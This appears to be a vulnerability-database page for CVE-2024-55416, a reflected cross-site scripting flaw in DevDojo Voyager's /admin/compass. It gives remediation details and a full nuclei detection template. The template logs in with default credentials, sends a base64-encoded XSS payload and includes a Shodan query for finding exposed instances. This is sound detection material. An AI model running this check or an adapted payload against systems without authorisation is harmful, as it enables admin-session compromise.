HexBrain

Browse / CVEs / CVE-2024-55416

CVE-2024-55416

DevDojo Voyager <=1.8.0 - Cross-Site Scripting

lowseverity
20.1%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

DevDojo Voyager through version 1.8.0 is vulnerable to reflected XSS via /admin/compass. By manipulating an authenticated user to click on a link, arbitrary Javascript can be executed.

Impact

Authenticated attackers can craft malicious links that execute arbitrary JavaScript in the context of an administrator's session when clicked, potentially leading to account compromise or privilege escalation.

Fix

Update DevDojo Voyager to version 1.8.1 or later to address the reflected XSS vulnerability.

How to confirm it

Send: GET /admin/login
Send: POST /admin/login
Positive when: contains(body,'/admin</title>') and status_code == 302
Send: GET /admin/compass?del=PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPi5sb2c=
Positive when: contains(location,'/admin/compass') and status_code == 302
Send: GET /admin/compass?logs=true
Positive when: contains(body,'Successfully deleted log file: <img src=x onerror=alert(1)>.log') and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-55416 -u <target>

The full check
id: CVE-2024-55416

info:
  name: DevDojo Voyager <=1.8.0 - Cross-Site Scripting
  author: iamnoooob,rootxharsh,pdresearch
  severity: low
  description: |
    DevDojo Voyager through version 1.8.0 is vulnerable to reflected XSS via /admin/compass. By manipulating an authenticated user to click on a link, arbitrary Javascript can be executed.
  impact: |
    Authenticated attackers can craft malicious links that execute arbitrary JavaScript in the context of an administrator's session when clicked, potentially leading to account compromise or privilege escalation.
  remediation: |
    Update DevDojo Voyager to version 1.8.1 or later to address the reflected XSS vulnerability.
  reference:
    - https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
    - https://github.com/thedevdojo/voyager/blob/1.6/resources/views/master.blade.php#L132
    - https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55416
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
    cve-id: CVE-2024-55416
    epss-score: 0.2005
    epss-percentile: 0.97467
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"Voyager"
  tags: cve,cve2024,devdojo,xss,authenticated,vuln

variables:
  username: "[email protected]"
  password: "password"

http:
  - raw:
      - |
        GET /admin/login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: csrf
        group: 1
        regex:
          - 'name="_token" value="([a-zA-Z0-9]+)"'
  - raw:
      - |
        POST /admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{csrf}}&email={{username}}&password={{password}}&

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'/admin</title>')"
          - "status_code == 302"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/compass?del=PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPi5sb2c= HTTP/1.1
        Host: {{Hostname}}

    redirects: false
    matchers:
      - type: dsl
        dsl:
          - "contains(location,'/admin/compass')"
          - "status_code == 302"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/compass?logs=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'Successfully deleted log file: <img src=x onerror=alert(1)>.log')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from